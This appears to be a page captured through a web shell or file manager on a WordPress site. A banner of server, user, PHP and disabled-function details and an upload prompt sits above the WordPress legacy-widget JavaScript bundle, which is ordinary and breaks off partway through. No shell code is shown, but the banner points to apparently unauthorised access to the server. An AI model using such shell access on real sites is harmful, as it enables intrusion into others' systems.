|
Server : LiteSpeed System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64 User : dewac4139 ( 1077) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/pepaya999.com/public_html/wp-includes/js/dist/ |
Upload File : |
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/compat get default export */
/******/ (() => {
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = (module) => {
/******/ var getter = module && module.__esModule ?
/******/ () => (module['default']) :
/******/ () => (module);
/******/ __webpack_require__.d(getter, { a: getter });
/******/ return getter;
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
MoveToWidgetArea: () => (/* reexport */ MoveToWidgetArea),
addWidgetIdToBlock: () => (/* reexport */ addWidgetIdToBlock),
getWidgetIdFromBlock: () => (/* reexport */ getWidgetIdFromBlock),
registerLegacyWidgetBlock: () => (/* binding */ registerLegacyWidgetBlock),
registerLegacyWidgetVariations: () => (/* reexport */ registerLegacyWidgetVariations),
registerWidgetGroupBlock: () => (/* binding */ registerWidgetGroupBlock)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/index.js
var legacy_widget_namespaceObject = {};
__webpack_require__.r(legacy_widget_namespaceObject);
__webpack_require__.d(legacy_widget_namespaceObject, {
yu: () => (block_namespaceObject),
UU: () => (legacy_widget_name),
W0: () => (settings)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/index.js
var widget_group_namespaceObject = {};
__webpack_require__.r(widget_group_namespaceObject);
__webpack_require__.d(widget_group_namespaceObject, {
yu: () => (widget_group_block_namespaceObject),
UU: () => (widget_group_name),
W0: () => (widget_group_settings)
});
;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// ./node_modules/@wordpress/icons/build-module/library/widget.js
var widget_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 3H8V5H16V3H18V5C19.1046 5 20 5.89543 20 7V19C20 20.1046 19.1046 21 18 21H6C4.89543 21 4 20.1046 4 19V7C4 5.89543 4.89543 5 6 5V3ZM18 6.5H6C5.72386 6.5 5.5 6.72386 5.5 7V8H18.5V7C18.5 6.72386 18.2761 6.5 18 6.5ZM18.5 9.5H5.5V19C5.5 19.2761 5.72386 19.5 6 19.5H18C18.2761 19.5 18.5 19.2761 18.5 19V9.5ZM11 11H13V13H11V11ZM7 11V13H9V11H7ZM15 13V11H17V13H15Z" }) });
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/block.json
const block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/legacy-widget","title":"Legacy Widget","category":"widgets","description":"Display a legacy widget.","textdomain":"default","attributes":{"id":{"type":"string","default":null},"idBase":{"type":"string","default":null},"instance":{"type":"object","default":null}},"supports":{"html":false,"customClassName":false,"reusable":false},"editorStyle":"wp-block-legacy-widget-editor"}');
;// ./node_modules/clsx/dist/clsx.mjs
function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// ./node_modules/@wordpress/icons/build-module/library/brush.js
var brush_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z" }) });
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","coreData"]
const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/widget-type-selector.js
function WidgetTypeSelector({ selectedId, onSelect }) {
const widgetTypes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
const hiddenIds = select(external_wp_blockEditor_namespaceObject.store).getSettings()?.widgetTypesToHideFromLegacyWidgetBlock ?? [];
return select(external_wp_coreData_namespaceObject.store).getWidgetTypes({ per_page: -1 })?.filter((widgetType) => !hiddenIds.includes(widgetType.id));
}, []);
if (!widgetTypes) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
}
if (widgetTypes.length === 0) {
return (0,external_wp_i18n_namespaceObject.__)("There are no widgets available.");
}
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
external_wp_components_namespaceObject.SelectControl,
{
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: (0,external_wp_i18n_namespaceObject.__)("Legacy widget"),
value: selectedId ?? "",
options: [
{ value: "", label: (0,external_wp_i18n_namespaceObject.__)("Select widget") },
...widgetTypes.map((widgetType) => ({
value: widgetType.id,
label: widgetType.name
}))
],
onChange: (value) => {
if (value) {
const selected = widgetTypes.find(
(widgetType) => widgetType.id === value
);
onSelect({
selectedId: selected.id,
isMulti: selected.is_multi
});
} else {
onSelect({ selectedId: null });
}
}
}
);
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/inspector-card.js
function InspectorCard({ name, description }) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-legacy-widget-inspector-card", children: [
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget-inspector-card__name", children: name }),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: description })
] });
}
;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/control.js
class Control {
/**
* Creates and loads a new control.
*
* @access public
* @param {Object} params
* @param {string} params.id
* @param {string} params.idBase
* @param {Object} params.instance
* @param {Function} params.onChangeInstance
* @param {Function} params.onChangeHasPreview
* @param {Function} params.onError
*/
constructor({
id,
idBase,
instance,
onChangeInstance,
onChangeHasPreview,
onError
}) {
this.id = id;
this.idBase = idBase;
this._instance = instance;
this._hasPreview = null;
this.onChangeInstance = onChangeInstance;
this.onChangeHasPreview = onChangeHasPreview;
this.onError = onError;
this.number = ++lastNumber;
this.handleFormChange = (0,external_wp_compose_namespaceObject.debounce)(
this.handleFormChange.bind(this),
200
);
this.handleFormSubmit = this.handleFormSubmit.bind(this);
this.initDOM();
this.bindEvents();
this.loadContent();
}
/**
* Clean up the control so that it can be garbage collected.
*
* @access public
*/
destroy() {
this.unbindEvents();
this.element.remove();
}
/**
* Creates the control's DOM structure.
*
* @access private
*/
initDOM() {
this.element = el("div", { class: "widget open" }, [
el("div", { class: "widget-inside" }, [
this.form = el("form", { class: "form", method: "post" }, [
// These hidden form inputs are what most widgets' scripts
// use to access data about the widget.
el("input", {
class: "widget-id",
type: "hidden",
name: "widget-id",
value: this.id ?? `${this.idBase}-${this.number}`
}),
el("input", {
class: "id_base",
type: "hidden",
name: "id_base",
value: this.idBase ?? this.id
}),
el("input", {
class: "widget-width",
type: "hidden",
name: "widget-width",
value: "250"
}),
el("input", {
class: "widget-height",
type: "hidden",
name: "widget-height",
value: "200"
}),
el("input", {
class: "widget_number",
type: "hidden",
name: "widget_number",
value: this.idBase ? this.number.toString() : ""
}),
this.content = el("div", { class: "widget-content" }),
// Non-multi widgets can be saved via a Save button.
this.id && el(
"button",
{
class: "button is-primary",
type: "submit"
},
(0,external_wp_i18n_namespaceObject.__)("Save")
)
])
])
]);
}
/**
* Adds the control's event listeners.
*
* @access private
*/
bindEvents() {
if (window.jQuery) {
const { jQuery: $ } = window;
$(this.form).on("change", null, this.handleFormChange);
$(this.form).on("input", null, this.handleFormChange);
$(this.form).on("submit", this.handleFormSubmit);
} else {
this.form.addEventListener("change", this.handleFormChange);
this.form.addEventListener("input", this.handleFormChange);
this.form.addEventListener("submit", this.handleFormSubmit);
}
}
/**
* Removes the control's event listeners.
*
* @access private
*/
unbindEvents() {
if (window.jQuery) {
const { jQuery: $ } = window;
$(this.form).off("change", null, this.handleFormChange);
$(this.form).off("input", null, this.handleFormChange);
$(this.form).off("submit", this.handleFormSubmit);
} else {
this.form.removeEventListener("change", this.handleFormChange);
this.form.removeEventListener("input", this.handleFormChange);
this.form.removeEventListener("submit", this.handleFormSubmit);
}
}
/**
* Fetches the widget's form HTML from the REST API and loads it into the
* control's form.
*
* @access private
*/
async loadContent() {
try {
if (this.id) {
const { form } = await saveWidget(this.id);
this.content.innerHTML = form;
} else if (this.idBase) {
const { form, preview } = await encodeWidget({
idBase: this.idBase,
instance: this.instance,
number: this.number
});
this.content.innerHTML = form;
this.hasPreview = !isEmptyHTML(preview);
if (!this.instance.hash) {
const { instance } = await encodeWidget({
idBase: this.idBase,
instance: this.instance,
number: this.number,
formData: serializeForm(this.form)
});
this.instance = instance;
}
}
if (window.jQuery) {
const { jQuery: $ } = window;
$(document).trigger("widget-added", [$(this.element)]);
}
} catch (error) {
this.onError(error);
}
}
/**
* Perform a save when a multi widget's form is changed. Non-multi widgets
* are saved manually.
*
* @access private
*/
handleFormChange() {
if (this.idBase) {
this.saveForm();
}
}
/**
* Perform a save when the control's form is manually submitted.
*
* @access private
* @param {Event} event
*/
handleFormSubmit(event) {
event.preventDefault();
this.saveForm();
}
/**
* Serialize the control's form, send it to the REST API, and update the
* instance with the encoded instance that the REST API returns.
*
* @access private
*/
async saveForm() {
const formData = serializeForm(this.form);
try {
if (this.id) {
const { form } = await saveWidget(this.id, formData);
this.content.innerHTML = form;
if (window.jQuery) {
const { jQuery: $ } = window;
$(document).trigger("widget-updated", [
$(this.element)
]);
}
} else if (this.idBase) {
const { instance, preview } = await encodeWidget({
idBase: this.idBase,
instance: this.instance,
number: this.number,
formData
});
this.instance = instance;
this.hasPreview = !isEmptyHTML(preview);
}
} catch (error) {
this.onError(error);
}
}
/**
* The widget's instance object.
*
* @access private
*/
get instance() {
return this._instance;
}
/**
* The widget's instance object.
*
* @access private
*/
set instance(instance) {
if (this._instance !== instance) {
this._instance = instance;
this.onChangeInstance(instance);
}
}
/**
* Whether or not the widget can be previewed.
*
* @access public
*/
get hasPreview() {
return this._hasPreview;
}
/**
* Whether or not the widget can be previewed.
*
* @access private
*/
set hasPreview(hasPreview) {
if (this._hasPreview !== hasPreview) {
this._hasPreview = hasPreview;
this.onChangeHasPreview(hasPreview);
}
}
}
let lastNumber = 0;
function el(tagName, attributes = {}, content = null) {
const element = document.createElement(tagName);
for (const [attribute, value] of Object.entries(attributes)) {
element.setAttribute(attribute, value);
}
if (Array.isArray(content)) {
for (const child of content) {
if (child) {
element.appendChild(child);
}
}
} else if (typeof content === "string") {
element.innerText = content;
}
return element;
}
async function saveWidget(id, formData = null) {
let widget;
if (formData) {
widget = await external_wp_apiFetch_default()({
path: `/wp/v2/widgets/${id}?context=edit`,
method: "PUT",
data: {
form_data: formData
}
});
} else {
widget = await external_wp_apiFetch_default()({
path: `/wp/v2/widgets/${id}?context=edit`,
method: "GET"
});
}
return { form: widget.rendered_form };
}
async function encodeWidget({ idBase, instance, number, formData = null }) {
const response = await external_wp_apiFetch_default()({
path: `/wp/v2/widget-types/${idBase}/encode`,
method: "POST",
data: {
instance,
number,
form_data: formData
}
});
return {
instance: response.instance,
form: response.form,
preview: response.preview
};
}
function isEmptyHTML(html) {
const element = document.createElement("div");
element.innerHTML = html;
return isEmptyNode(element);
}
function isEmptyNode(node) {
switch (node.nodeType) {
case node.TEXT_NODE:
return node.nodeValue.trim() === "";
case node.ELEMENT_NODE:
if ([
"AUDIO",
"CANVAS",
"EMBED",
"IFRAME",
"IMG",
"MATH",
"OBJECT",
"SVG",
"VIDEO"
].includes(node.tagName)) {
return false;
}
if (!node.hasChildNodes()) {
return true;
}
return Array.from(node.childNodes).every(isEmptyNode);
default:
return true;
}
}
function serializeForm(form) {
return new window.URLSearchParams(
Array.from(new window.FormData(form))
).toString();
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/form.js
function Form({
title,
isVisible,
id,
idBase,
instance,
isWide,
onChangeInstance,
onChangeHasPreview
}) {
const ref = (0,external_wp_element_namespaceObject.useRef)();
const isMediumLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small");
const outgoingInstances = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
const incomingInstances = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (incomingInstances.current.has(instance)) {
incomingInstances.current.delete(instance);
return;
}
const control = new Control({
id,
idBase,
instance,
onChangeInstance(nextInstance) {
outgoingInstances.current.add(instance);
incomingInstances.current.add(nextInstance);
onChangeInstance(nextInstance);
},
onChangeHasPreview,
onError(error) {
window.console.error(error);
createNotice(
"error",
(0,external_wp_i18n_namespaceObject.sprintf)(
/* translators: %s: the name of the affected block. */
(0,external_wp_i18n_namespaceObject.__)(
'The "%s" block was affected by errors and may not function properly. Check the developer tools for more details.'
),
idBase || id
)
);
}
});
ref.current.appendChild(control.element);
return () => {
if (outgoingInstances.current.has(instance)) {
outgoingInstances.current.delete(instance);
return;
}
control.destroy();
};
}, [
id,
idBase,
instance,
onChangeInstance,
onChangeHasPreview,
isMediumLargeViewport
]);
if (isWide && isMediumLargeViewport) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
"div",
{
className: dist_clsx({
"wp-block-legacy-widget__container": isVisible
}),
children: [
isVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget__edit-form-title", children: title }),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
external_wp_components_namespaceObject.Popover,
{
focusOnMount: false,
placement: "right",
offset: 32,
resize: false,
flip: false,
shift: true,
children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
"div",
{
ref,
className: "wp-block-legacy-widget__edit-form",
hidden: !isVisible
}
)
}
)
]
}
);
}
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
"div",
{
ref,
className: "wp-block-legacy-widget__edit-form",
hidden: !isVisible,
children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget__edit-form-title", children: title })
}
);
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/preview.js
function Preview({ idBase, instance, isVisible }) {
const [isLoaded, setIsLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
const [srcDoc, setSrcDoc] = (0,external_wp_element_namespaceObject.useState)("");
(0,external_wp_element_namespaceObject.useEffect)(() => {
const abortController = typeof window.AbortController === "undefined" ? void 0 : new window.AbortController();
async function fetchPreviewHTML() {
const restRoute = `/wp/v2/widget-types/${idBase}/render`;
return await external_wp_apiFetch_default()({
path: restRoute,
method: "POST",
signal: abortController?.signal,
data: instance ? { instance } : {}
});
}
fetchPreviewHTML().then((response) => {
setSrcDoc(response.preview);
}).catch((error) => {
if ("AbortError" === error.name) {
return;
}
throw error;
});
return () => abortController?.abort();
}, [idBase, instance]);
const ref = (0,external_wp_compose_namespaceObject.useRefEffect)(
(iframe) => {
if (!isLoaded) {
return;
}
function setHeight() {
const height = Math.max(
iframe.contentDocument.documentElement?.offsetHeight ?? 0,
iframe.contentDocument.body?.offsetHeight ?? 0
);
iframe.style.height = `${height !== 0 ? height : 100}px`;
}
const { IntersectionObserver } = iframe.ownerDocument.defaultView;
const intersectionObserver = new IntersectionObserver(
([entry]) => {
if (entry.isIntersecting) {
setHeight();
}
},
{
threshold: 1
}
);
intersectionObserver.observe(iframe);
iframe.addEventListener("load", setHeight);
return () => {
intersectionObserver.disconnect();
iframe.removeEventListener("load", setHeight);
};
},
[isLoaded]
);
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
isVisible && !isLoaded && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
"div",
{
className: dist_clsx("wp-block-legacy-widget__edit-preview", {
"is-offscreen": !isVisible || !isLoaded
}),
children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
"iframe",
{
ref,
className: "wp-block-legacy-widget__edit-preview-iframe",
tabIndex: "-1",
title: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget Preview"),
srcDoc,
onLoad: (event) => {
event.target.contentDocument.body.style.overflow = "hidden";
setIsLoaded(true);
},
height: 100
}
) })
}
)
] });
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/no-preview.js
function NoPreview({ name }) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-legacy-widget__edit-no-preview", children: [
name && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { children: name }),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No preview available.") })
] });
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/convert-to-blocks-button.js
function ConvertToBlocksButton({ clientId, rawInstance }) {
const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
external_wp_components_namespaceObject.ToolbarButton,
{
onClick: () => {
if (rawInstance.title) {
replaceBlocks(clientId, [
(0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
content: rawInstance.title
}),
...(0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: rawInstance.text })
]);
} else {
replaceBlocks(
clientId,
(0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: rawInstance.text })
);
}
},
children: (0,external_wp_i18n_namespaceObject.__)("Convert to blocks")
}
);
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/index.js
function Edit(props) {
const { id, idBase } = props.attributes;
const { isWide = false } = props;
const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
className: dist_clsx({
"is-wide-widget": isWide
})
});
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: !id && !idBase ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Empty, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotEmpty, { ...props }) });
}
function Empty({ attributes: { id, idBase }, setAttributes }) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
external_wp_components_namespaceObject.Placeholder,
{
icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: brush_default }),
label: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget"),
children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
WidgetTypeSelector,
{
selectedId: id ?? idBase,
onSelect: ({ selectedId, isMulti }) => {
if (!selectedId) {
setAttributes({
id: null,
idBase: null,
instance: null
});
} else if (isMulti) {
setAttributes({
id: null,
idBase: selectedId,
instance: {}
});
} else {
setAttributes({
id: selectedId,
idBase: null,
instance: null
});
}
}
}
) }) })
}
);
}
function NotEmpty({
attributes: { id, idBase, instance },
setAttributes,
clientId,
isSelected,
isWide = false
}) {
const [hasPreview, setHasPreview] = (0,external_wp_element_namespaceObject.useState)(null);
const widgetTypeId = id ?? idBase;
const { record: widgetType, hasResolved: hasResolvedWidgetType } = (0,external_wp_coreData_namespaceObject.useEntityRecord)("root", "widgetType", widgetTypeId);
const setInstance = (0,external_wp_element_namespaceObject.useCallback)((nextInstance) => {
setAttributes({ instance: nextInstance });
}, []);
if (!widgetType && hasResolvedWidgetType) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
external_wp_components_namespaceObject.Placeholder,
{
icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: brush_default }),
label: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget"),
children: (0,external_wp_i18n_namespaceObject.__)("Widget is missing.")
}
);
}
if (!hasResolvedWidgetType) {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
}
const mode = idBase && !isSelected ? "preview" : "edit";
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
idBase === "text" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
ConvertToBlocksButton,
{
clientId,
rawInstance: instance.raw
}
) }),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
InspectorCard,
{
name: widgetType.name,
description: widgetType.description
}
) }),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
Form,
{
title: widgetType.name,
isVisible: mode === "edit",
id,
idBase,
instance,
isWide,
onChangeInstance: setInstance,
onChangeHasPreview: setHasPreview
}
),
idBase && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
hasPreview === null && mode === "preview" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
hasPreview === true && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
Preview,
{
idBase,
instance,
isVisible: mode === "preview"
}
),
hasPreview === false && mode === "preview" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NoPreview, { name: widgetType.name })
] })
] });
}
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/transforms.js
const legacyWidgetTransforms = [
{
block: "core/calendar",
widget: "calendar"
},
{
block: "core/search",
widget: "search"
},
{
block: "core/html",
widget: "custom_html",
transform: ({ content }) => ({
content
})
},
{
block: "core/archives",
widget: "archives",
transform: ({ count, dropdown }) => {
return {
displayAsDropdown: !!dropdown,
showPostCounts: !!count
};
}
},
{
block: "core/latest-posts",
widget: "recent-posts",
transform: ({ show_date: displayPostDate, number }) => {
return {
displayPostDate: !!displayPostDate,
postsToShow: number
};
}
},
{
block: "core/latest-comments",
widget: "recent-comments",
transform: ({ number }) => {
return {
commentsToShow: number
};
}
},
{
block: "core/tag-cloud",
widget: "tag_cloud",
transform: ({ taxonomy, count }) => {
return {
showTagCounts: !!count,
taxonomy
};
}
},
{
block: "core/categories",
widget: "categories",
transform: ({ count, dropdown, hierarchical }) => {
return {
displayAsDropdown: !!dropdown,
showPostCounts: !!count,
showHierarchy: !!hierarchical
};
}
},
{
block: "core/audio",
widget: "media_audio",
transform: ({ url, preload, loop, attachment_id: id }) => {
return {
src: url,
id,
preload,
loop
};
}
},
{
block: "core/video",
widget: "media_video",
transform: ({ url, preload, loop, attachment_id: id }) => {
return {
src: url,
id,
preload,
loop
};
}
},
{
block: "core/image",
widget: "media_image",
transform: ({
alt,
attachment_id: id,
caption,
height,
link_classes: linkClass,
link_rel: rel,
link_target_blank: targetBlack,
link_type: linkDestination,
link_url: link,
size: sizeSlug,
url,
width
}) => {
return {
alt,
caption,
height,
id,
link,
linkClass,
linkDestination,
linkTarget: targetBlack ? "_blank" : void 0,
rel,
sizeSlug,
url,
width
};
}
},
{
block: "core/gallery",
widget: "media_gallery",
transform: ({ ids, link_type: linkTo, size, number }) => {
return {
ids,
columns: number,
linkTo,
sizeSlug: size,
images: ids.map((id) => ({
id
}))
};
}
},
{
block: "core/rss",
widget: "rss",
transform: ({
url,
show_author: displayAuthor,
show_date: displayDate,
show_summary: displayExcerpt,
items
}) => {
return {
feedURL: url,
displayAuthor: !!displayAuthor,
displayDate: !!displayDate,
displayExcerpt: !!displayExcerpt,
itemsToShow: items
};
}
}
].map(({ block, widget, transform }) => {
return {
type: "block",
blocks: [block],
isMatch: ({ idBase, instance }) => {
return idBase === widget && !!instance?.raw;
},
transform: ({ instance }) => {
const transformedBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
block,
transform ? transform(instance.raw) : void 0
);
if (!instance.raw?.title) {
return transformedBlock;
}
return [
(0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
content: instance.raw.title
}),
transformedBlock
];
}
};
});
const transforms = {
to: legacyWidgetTransforms
};
var transforms_default = transforms;
